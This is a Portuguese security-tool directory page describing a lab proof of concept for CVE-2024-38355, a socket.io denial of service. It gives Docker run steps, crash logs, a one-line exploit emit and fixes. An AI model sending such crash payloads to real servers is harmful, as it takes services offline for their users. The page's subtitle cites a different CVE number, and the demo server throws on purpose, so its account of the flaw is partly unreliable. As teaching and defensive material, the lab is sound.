Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-38355-PoC — Prova de conceito do CVE-2024-47554 | Kitploit
Ferramentas/GitHubGitHub/pawelmurdzek/cve-2024-38355-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebAprendizado e Educação
GitHubpawelmurdzek/cve-2024-38355-poc

CVE-2024-38355-PoC

Prova de conceito do CVE-2024-47554

Ver Repositório
1há 7 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Demonstração do CVE-2024-38355 (Falha do Socket.IO)

Este projeto é uma Prova de Conceito demonstrando o CVE-2024-38355, uma vulnerabilidade de negação de serviço no socket.io. O projeto foi criado para fins educacionais para mostrar o mecanismo de ataque e como proteger aplicações.

Sobre a Vulnerabilidade (CVE-2024-38355)

Esta vulnerabilidade afeta as versões do socket.io:

  • < 2.5.1
  • >= 3.0.0, < 4.6.2

Um pacote Socket.IO especialmente criado pode acionar uma exceção não capturada no servidor, fazendo o processo Node.js falhar. Isso resulta em um ataque de Negação de Serviço (DoS - Denial of Service).

Como funciona:

  1. O cliente conecta-se normalmente ao servidor Socket.IO.
  2. O cliente envia um evento/pacote malicioso que aciona um erro no servidor.
  3. Se o código do servidor lançar uma exceção (por exemplo, ao processar entrada não confiável) e não houver um manipulador de erros no socket, a exceção não capturada derruba todo o processo Node.js.
  4. O servidor fica indisponível para todos os usuários.

Fatores-chave:

  • A ausência de um ouvinte de evento error no socket
  • Código do lado do servidor que pode lançar exceções ao processar dados do cliente
  • Nenhum manipulador global de exceções não capturadas

Estrutura do Projeto

O projeto consiste em dois contêineres Docker:

  1. vulnerable-server: Um servidor Node.js usando [email protected] vulnerável. Ele possui um manipulador de eventos que pode lançar uma exceção não capturada ao receber dados maliciosos.
  2. exploit-client: Um script Node.js que se conecta ao servidor, primeiro testa a operação normal e depois envia um payload que derruba o servidor.

Requisitos

  • Docker
  • Docker Compose

Ou alternativamente:

  • Node.js 18+
  • npm

Como Executar

Opção 1: Usando Docker Compose (Recomendado)

Abra um terminal no diretório raiz do projeto e execute:

root@kitploit:~
docker-compose down
docker-compose build --no-cache
docker-compose up

Isso irá:

  1. Construir as imagens do servidor e do cliente.
  2. Iniciar o servidor na porta 3000.
  3. Iniciar o cliente de exploit que atacará automaticamente e derrubará o servidor.

Opção 2: Executando Localmente (Sem Docker)

Terminal 1 - Inicie o servidor:

root@kitploit:~
cd server
npm install
npm start

Terminal 2 - Execute o exploit:

root@kitploit:~
cd exploit
npm install
npm start

Saída Esperada

Logs do servidor:

root@kitploit:~
[SERVER] Running on port 3000. Waiting for connections...
[SERVER] Client connected: <socket-id>
[SERVER] Processing data: {"message":"Hello, normal request"}
[SERVER] Client disconnected: <socket-id>
[SERVER] Client connected: <socket-id>
[SERVER] Processing data: {"trigger":"crash"}
/app/index.js:24
            throw new Error('Uncaught exception triggered by malicious packet');

Logs do exploit:

root@kitploit:~
[EXPLOIT] CVE-2024-38355 Proof of Concept
[EXPLOIT] Targeting http://vulnerable-server:3000...

[STEP 1] Testing normal connection...
[STEP 1] Connected successfully.
[STEP 1] Received response: {"status":"processed","data":{"message":"Hello, normal request"}}

[STEP 2] Sending malicious payload to trigger CVE-2024-38355...
[STEP 2] Connected. Sending crash trigger...
[STEP 2] Payload sent! Waiting for server to crash...
[STEP 2] Disconnected (server may have crashed).

[STEP 3] Checking if server is still alive...
[RESULT] SUCCESS! Server is unreachable: xhr poll error

Parando

Pressione Ctrl+C ou execute:

root@kitploit:~
docker-compose down

Análise do Código

Servidor Vulnerável (server/index.js)

root@kitploit:~
socket.on('process_data', (data) => {
    // VULNERABLE: No try-catch, no error handler on socket
    if (data && data.trigger === 'crash') {
        throw new Error('Uncaught exception');  // Crashes the process!
    }
});

Exploit (exploit/exploit.js)

root@kitploit:~
// Send malicious payload that triggers the crash
socket.emit('process_data', { trigger: 'crash' });

Como Corrigir?

Para proteger sua aplicação contra essa vulnerabilidade:

  1. Atualize o socket.io para a versão 4.6.2 ou mais recente (a correção adiciona um manipulador de erros noop padrão).

  2. Sempre anexe manipuladores de erro aos sockets:

    root@kitploit:~
    socket.on('error', (err) => {
        console.error('Socket error:', err);
        // Handle gracefully, don't let it crash the server
    });
    
  3. Envolva os manipuladores de eventos em try-catch:

    root@kitploit:~
    socket.on('process_data', (data) => {
        try {
            // Process data safely
        } catch (err) {
            console.error('Error processing data:', err);
            socket.emit('error_response', { message: 'Invalid data' });
        }
    });
    
  4. Adicione um manipulador global de exceções não capturadas (como último recurso):

    root@kitploit:~
    process.on('uncaughtException', (err) => {
        console.error('Uncaught Exception:', err);
        // Log and gracefully shutdown
    });
    

Referências

  • CVE-2024-38355 no NVD
  • Aviso de Segurança do GitHub GHSA-25hc-qcg6-38wj
  • Commit da Correção

Projeto criado para fins educacionais.

Baixar ferramenta